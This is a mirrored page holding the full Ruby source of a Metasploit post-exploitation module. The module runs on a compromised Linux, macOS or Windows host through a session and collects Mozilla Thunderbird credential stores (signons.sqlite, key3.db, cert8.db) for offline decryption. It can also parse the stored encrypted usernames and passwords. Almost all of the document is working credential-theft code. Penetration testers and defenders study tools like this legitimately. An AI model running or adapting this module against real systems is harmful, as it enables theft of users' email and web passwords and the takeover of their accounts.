Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

thunderbird_creds.rb 7.3KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class MetasploitModule < Msf::Post
  7. include Msf::Post::File
  8. include Msf::Post::Windows::UserProfiles
  9. def initialize(info={})
  10. super(update_info(info,
  11. 'Name' => "Multi Gather Mozilla Thunderbird Signon Credential Collection",
  12. 'Description' => %q{
  13. This module will collect credentials from Mozilla Thunderbird by downloading
  14. the necessary files such as 'signons.sqlite', 'key3.db', and 'cert8.db' for
  15. offline decryption with third party tools.
  16. If necessary, you may also set the PARSE optioin to true to parse the sqlite
  17. file, which contains sensitive information such as the encrypted username/password.
  18. However, this feature is not enabled by default, because it requires SQLITE3 gem
  19. to be installed on your machine.
  20. },
  21. 'License' => MSF_LICENSE,
  22. 'Author' =>
  23. [
  24. 'sinn3r', #Metasploit
  25. ],
  26. 'Platform' => %w{ linux osx win },
  27. 'SessionTypes' => ['meterpreter', 'shell']
  28. ))
  29. register_options(
  30. [
  31. OptBool.new('PARSE', [false, 'Use SQLite3 to parse the database', false])
  32. ]
  33. )
  34. end
  35. def run
  36. # Initialize Thunderbird's base path based on the platform
  37. case session.platform
  38. when /linux/
  39. user = session.shell_command("whoami").chomp
  40. base = "/home/#{user}/.thunderbird/"
  41. when /osx/
  42. user = session.shell_command("whoami").chomp
  43. base = "/Users/#{user}/Library/Thunderbird/Profiles/"
  44. when /win/
  45. if session.type =~ /meterpreter/
  46. user_profile = session.sys.config.getenv('APPDATA')
  47. else
  48. user_profile = cmd_exec("echo %APPDATA%").strip
  49. end
  50. base = user_profile + "\\Thunderbird\\Profiles\\"
  51. end
  52. # Now we have the path for Thunderbird, we still need to enumerate its
  53. # random profile names.
  54. print_status("Looking for profiles in #{base}...")
  55. profiles = get_profile_names(base)
  56. # Steal!
  57. profiles.each do |profile|
  58. next if profile =~ /^\./
  59. slash = (session.platform =~ /win/) ? "\\" : "/"
  60. p = base + profile + slash
  61. # Download the database, and attempt to process the content
  62. download_loot(p)
  63. end
  64. end
  65. #
  66. # Download signons.sqlite and key3.db.
  67. # The routine will attempt to parse the sqlite db if the PARSE option is true,
  68. # and that SQLite3 is installed on the user's box.
  69. #
  70. def download_loot(p)
  71. # These are the files we wanna grab for the directory for future decryption
  72. files = ['signons.sqlite', 'key3.db', 'cert8.db']
  73. files.each do |item|
  74. loot = ''
  75. # Downaload the file
  76. if session.type =~ /meterpreter/
  77. vprint_status("Downloading: #{p + item}")
  78. begin
  79. f = session.fs.file.new(p + item, 'rb')
  80. until f.eof?
  81. loot << f.read
  82. end
  83. rescue ::Exception => e
  84. ensure
  85. f.close
  86. end
  87. elsif session.type =~ /shell/
  88. cmd_show = (session.platform =~ /win/) ? 'type' : 'cat'
  89. # The type command will add a 0x0a character in the file? Pff.
  90. # Gotta lstrip that.
  91. loot = cmd_exec(cmd_show, "\"#{p+item}\"").lstrip
  92. next if loot =~ /system cannot find the file specified|No such file/
  93. end
  94. # Save it
  95. ext = ::File.extname(item)
  96. ext = ext[1,ext.length]
  97. path = store_loot(
  98. "tb.#{item}",
  99. "binary/#{ext}",
  100. session,
  101. loot,
  102. "thunderbird_raw_#{item}",
  103. "Thunderbird Raw File #{item}")
  104. print_status("#{item} saved in #{path}")
  105. # Parse signons.sqlite
  106. if item =~ /signons\.sqlite/ and datastore['PARSE']
  107. print_status("Parsing signons.sqlite...")
  108. data_tbl = parse(path)
  109. if data_tbl.nil? or data_tbl.rows.empty?
  110. print_status("No data parsed")
  111. else
  112. path = store_loot(
  113. "tb.parsed.#{item}",
  114. "text/plain",
  115. session,
  116. data_tbl.to_csv,
  117. "thunderbird_parsed_#{item}",
  118. "Thunderbird Parsed File #{item}")
  119. print_status("Parsed signons.sqlite saved in: #{path}")
  120. end
  121. end
  122. end
  123. end
  124. #
  125. # Parse the sqlite database.
  126. # This thing requires sqlite3 gem, so we don't really recommend it.
  127. # The best way is to use railgun, but as of now we don't support that.
  128. # Can't just LoadLibrary("sqlite3.dll") or LoadLibrary("mozsqlite3.dll")
  129. #
  130. def parse(file)
  131. begin
  132. require 'sqlite3'
  133. rescue LoadError
  134. print_error("Sorry, SQLite3 not available. We'll have to skip the parser.")
  135. return nil
  136. end
  137. # Load the database
  138. db = SQLite3::Database.new(file)
  139. begin
  140. columns, *rows = db.execute('select * from moz_logins')
  141. rescue ::Exception => e
  142. print_error("doh! #{e.to_s}")
  143. return nil
  144. ensure
  145. db.close
  146. end
  147. # Create a rex table to store our data
  148. tbl = Rex::Text::Table.new(
  149. 'Header' => 'Thunderbird login data',
  150. 'Indent' => 1,
  151. 'Columns' =>
  152. [
  153. 'hostname',
  154. 'httpRealm',
  155. 'formSubmitURL',
  156. 'usernameField',
  157. 'passwordField',
  158. 'encryptedUsername',
  159. 'encryptedPassword',
  160. 'guid'
  161. ]
  162. )
  163. # Parse the db, store the data
  164. rows.each do |row|
  165. tbl << [
  166. row[1], #hostname
  167. row[2], #httpRealm
  168. row[3], #formSubmitURL (could be nil)
  169. row[4], #usernameField
  170. row[5], #passwordField
  171. row[6], #encryptedUsername
  172. row[7], #encryptedPassword
  173. row[8] #guid
  174. ]
  175. end
  176. return tbl
  177. end
  178. #
  179. # Return the profile names based on a base path.
  180. # The format for the random profile name goes like: [random].default
  181. #
  182. def get_profile_names(path)
  183. tb_profiles = []
  184. if session.type =~ /meterpreter/
  185. session.fs.dir.foreach(path) do |subdir|
  186. tb_profiles << subdir
  187. end
  188. else
  189. cmd = (session.platform =~ /win/) ? "dir \"#{path}\"" : "ls -ld #{path}*/"
  190. dir = cmd_exec(cmd)
  191. dir.each_line do |line|
  192. line = line.strip
  193. next if session.platform =~ /win/ and line !~ /<DIR>((.+)\.(\w+)$)/
  194. next if session.platform =~ /linux|osx/ and line !~ /(\w+\.\w+)/
  195. tb_profiles << $1 if not $1.nil?
  196. end
  197. end
  198. return tb_profiles
  199. end
  200. end
  201. =begin
  202. If you're really curious about Mozilla's encryption/descryption API, download this:
  203. ftp://ftp.mozilla.org/pub/mozilla.org/thunderbird/releases/8.0/source/
  204. And then read the following files:
  205. mozilla/security/manager/ssl/src/nsSDR.cpp
  206. mozilla/security/nss/lib/pk11wrap/pk11sdr.c
  207. Using a 3rd party decryptor is easier because Mozilla uses 2 different databases
  208. (SQLite and Berkeley DB) to store the crypto information. This makes proper decryption
  209. implementation kind of uneasy, because railgun currently doesn't support SQLite3 and
  210. BDB (require special handling -- it's not like you can do LoadLibrary('mozsqlite3.dll')
  211. to load the lib). Not to mention you need to borrow several more Mozilla components to
  212. do the decryption. BDB gem unfortunately is kind of busted during my testing, so I guess
  213. we can pretty much forget about doing the decryption locally... chances are a lot of
  214. users would have problems just to get that setup going anyway.
  215. =end